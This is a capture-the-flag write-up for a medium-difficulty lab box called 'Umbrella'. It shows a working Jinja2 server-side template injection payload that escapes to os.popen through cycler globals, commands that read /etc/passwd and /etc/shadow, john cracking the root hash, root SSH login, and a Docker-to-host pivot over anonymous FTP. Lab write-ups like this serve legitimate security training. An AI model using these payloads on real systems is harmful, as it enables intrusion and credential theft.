Umbrella
Umbrella
Platform: hackerlab | Category: Pentest | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-04-17 | Status: Solved Techniques: ssti_rce, jinja2_sandbox_escape, shadow_readable_privesc, john_rockyou_bruteforce, docker_host_pivot, anonymous_ftp_access
Summary
Task: full-chain Umbrella Corp box — Flask landing with reflected 404 SSTI, world-readable /etc/shadow, Docker container pivot to host FTP. Solution: Jinja2 SSTI RCE via cycler globals, john+rockyou cracks root ($6$) to 'rootless', then anonymous FTP on 172.17.0.1 for last flag part.
Umbrella — Hackerlab
Description
Проникните в систему Umbrella Corporation и найдите то, что они скрывают.
IP: 192.168.2.211 · Points: 1000
English summary: a multi-stage boot2root-style challenge. A Flask/Jinja2 landing page is the entry point; the flag is split into three parts recovered across three stages — web SSTI, SSH privilege escalation, and Docker-to-host FTP pivot.
Analysis
Recon
$ nmap -p- 192.168.2.211
22/tcp open ssh OpenSSH 9.9
80/tcp open http Werkzeug httpd 3.1.3 Python/3.9.22
The Werkzeug httpd ... Python/3.9.22 banner is a strong indicator of a Flask app — and Flask defaults to Jinja2 templating. The site itself is a static-looking Umbrella Corporation landing with Home / About / Contact pages, but the interesting behaviour is in the 404 handler.
Reflected 404 → SSTI
Requesting a non-existent page:
GET /test
→ The requested page "/test" does not exist.
The URL path is reflected into the response body. The classic first probe:
GET /{{7*7}} (URL-encoded as /%7B%7B7*7%7D%7D)
→ The requested page "/49" does not exist.
49 proves the expression was evaluated server-side by Jinja2 → SSTI confirmed.
Solution
Stage 1 — SSTI to RCE (first flag part)
Escape the Jinja2 sandbox via the cycler helper, reach os.popen:
python read-only • copy allowed#!/usr/bin/env python3 import urllib.parse, requests, re TARGET = "http://192.168.2.211/" def rce(cmd: str) -> str: payload = ( '{{ self._TemplateReference__context.cycler.__init__' '.__globals__.__builtins__.__import__("os")' f'.popen("{cmd}").read() }}}}' ) r = requests.get(TARGET + urllib.parse.quote(payload)) m = re.search(r'requested page "/(.*?)" does not exist', r.text, re.DOTALL) return m.group(1) if m else "" print(rce("id")) # uid=1000(brandon) gid=1000(brandon) groups=1000(brandon) print(rce("cat /home/brandon/first_part")) # CODEBY{REDACTED
Stage 2 — /etc/shadow readable → root via john
An unusual misconfiguration: /etc/shadow is world-readable by brandon.
python read-only • copy allowedprint(rce("cat /etc/passwd")) print(rce("cat /etc/shadow")) print(rce("grep PermitRootLogin /etc/ssh/sshd_config")) # PermitRootLogin yes
Root hash extracted:
root:$6$NCZyGiO0nTbnz6oy$uNxmp4LWpe6Wwoxe5LPtgt3lfx63nFVBH2Cms9my7pGgDEJ2Ro4U1ZuaC85XDfU6vKbfLrRFiwTY.B.gvTVEZ1:...
Crack it locally:
bash read-only • copy allowedunshadow passwd shadow > hash.txt john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt # rootless (root)
SSH in as root:
bash read-only • copy allowedsshpass -p 'rootless' ssh -o StrictHostKeyChecking=no root@192.168.2.211
Stage 3 — Container discovery and Docker host pivot
Environment fingerprinting immediately reveals we're in a container, not the real host:
# cat /etc/os-release → Alpine Linux
# hostname → 9f7823146d54 (12-char hex = Docker CID)
# ip a → 172.17.0.2/16 (default docker0 bridge)
Therefore the Docker host sits on 172.17.0.1. Install tools inside Alpine and scan:
bash read-only • copy allowedapk add --no-cache nmap lftp nmap -sV 172.17.0.1 # 21/tcp ftp # 22/tcp ssh # 80/tcp http
Stage 4 — Anonymous FTP → last flag part
bash read-only • copy allowedlftp -u anonymous, ftp://172.17.0.1 -e 'ls; cat last_part; quit' # REDACTED}
Concatenating the three pieces:
first_part : CODEBY{REDACTED
middle : REDACTED} (actually in last_part)
Full chain: SSTI → file read → crack shadow → SSH root → pivot to Docker host → anonymous FTP.